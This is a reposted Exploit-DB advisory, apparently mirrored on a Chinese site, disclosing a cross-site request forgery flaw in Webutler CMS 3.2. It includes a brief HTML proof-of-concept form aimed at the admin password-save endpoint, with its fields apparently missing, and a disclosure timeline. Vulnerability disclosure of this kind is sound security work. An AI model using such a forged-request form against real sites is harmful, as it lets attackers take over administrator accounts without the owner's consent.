Webutler CMS 3.2 – Cross-Site Request Forgery - 体验盒子

作者： Keerati T.

日期： 2016-04-18

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/39707/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

Dear OffSec,

Here is the vulnerability detail as I submitted

*# Exploit Title: Webutler CMS Cross-Site Request Forgery*

*# Date: 18 April 2016*

*# Exploit Author: Keerati T. (Post)*

*# Vendor Homepage: http://webutler.de/en <http://webutler.de/en>*

*# Software Link: http://webutler.de/download/webutler_v3.2.zip

<http://webutler.de/download/webutler_v3.2.zip>*

*# Version: 3.2*

*# Tested on: Linux*

*1.Description*

The Webutler is a simple online page editor for static HTML files.

Webmasters can provide a simple login option for image and text editing to

their customers. The Webutler is a tool for websites or projects to be

implemented with a small effort. The project has grown over the years and

now you can do a lot of things with it.

The all of administrative function allow any users to perform HTTP request

without verify the request. This exploit can be performed while the logged

on user (administrator) visit malicious web page that embedded HTML form.

*2. Proof of Concept*

Only change password function PoC, But other function (add page, delete

page, etc..) can be exploited.

<html>

<body>

<form action="http://10.0.0.102/webutler/admin/system/save.php"

method="POST">

</form>

</body>

</html>

*3. Timeline*

11 Apr 2016 - Vulnerability discover.

11 Apr 2016 - No main contact available on vendor web page. Ask related

contact that shown on vendor web page instead.

18 Apr 2016 - No response from related contact and vulnerability disclosed.